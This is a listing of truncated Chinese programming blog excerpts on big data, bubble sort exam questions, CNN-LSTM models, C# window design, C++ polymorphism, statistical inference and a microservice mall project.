大数据和云计算 前言一、大数据二、大数据定义三、数据存储单位四、大数据存储技术五、大数据应用技术六、大数据特征七、数据容量八、数据类型的多样性8.1结构化数据8.2半结构化数据8.3非结构化数据 九、获取数据的速度十、可变性十一、真实性十二、复杂性十三、价值十四、云计…

2023下半年软件设计师上午题——冒泡排序

快速排除法&#xff0c;根据冒泡排序特性&#xff0c;每一趟排序都会确实最大/最小值&#xff0c;故升序两趟后&#xff0c;最后两个元素应该是已经排序好的第二大&#xff0c;和最大的元素&#xff0c;所以排除B,D&#xff0c;再因为每次排序都会两两交换&#xff0c;所以排除…

第五十一周:文献阅读+CNN-LSTM-AM

目录 摘要 Abstract 文献阅读&#xff1a;基于CNN-LSTM-AM时空深度学习模型的城市供水预测 现存问题 提出方法 创新点 方法论 CNN-LSTM-AM模型 研究实验 数据集 预处理 评估指标 实验过程 合格性验证 模型实现 总结 摘要 本周阅读的文献《Urban Water Supply …

C#知识|上位机项目主窗体设计思路及流程(实例)

哈喽,你好啊,我是雷工! 昨天练习了登录窗体的设计实现,今天练习上位机项目主窗体的设计实现。 01 主窗体效果展示 02 实现步骤 2.1、添加主窗体 添加窗体,名称:FrmMain.cs 2.2、窗体属性设置 将FrmMain窗体属性FormBorderStyle设置为None,无边框; 将FrmMain窗体属性…

C++进阶 | [2] 多态

摘要&#xff1a;多态的概念&#xff0c;多态的条件&#xff0c;虚函数的重写&#xff0c;抽象类&#xff0c;多态的原理&#xff0c;虚函数与虚函数表&#xff0c;与多态有关的问答题 1. Concept 多态的概念&#xff1a;通俗来说&#xff0c;就是多种形态&#xff0c;具体点就…

python数据分析——数据分析的统计推断

数据分析的统计推断 前言一、提出问题二、统计归纳方法三、统计推断四、统计推断步骤4.1.点估计4.2.区间估计4.2.1. 总体方差已知4.2.2总体方差未知 4.3. 假设检验4.4. 假设检验的假设4.5.显著性水平 五、检验统计量六、检验方法七、拒绝域八、假设检验步骤九、重要假设检验方法…

五一假期零碎时间练习学习过的内容(商城版)

目录 1 总览1.1 技术架构1.2 其他1.2.1 数据库1.2.2 后端部分1.2.2.1 复习feign1.2.2.2 复习下网关网关的核心功能特性&#xff1a;网关路由的流程断言工厂过滤器工厂全局过滤器 过滤器执行顺序解决跨域问题 1.2.2.3 es部分复习 1.2.3 前端部分 2 day1 配置网关2.1 任务2.2 网关…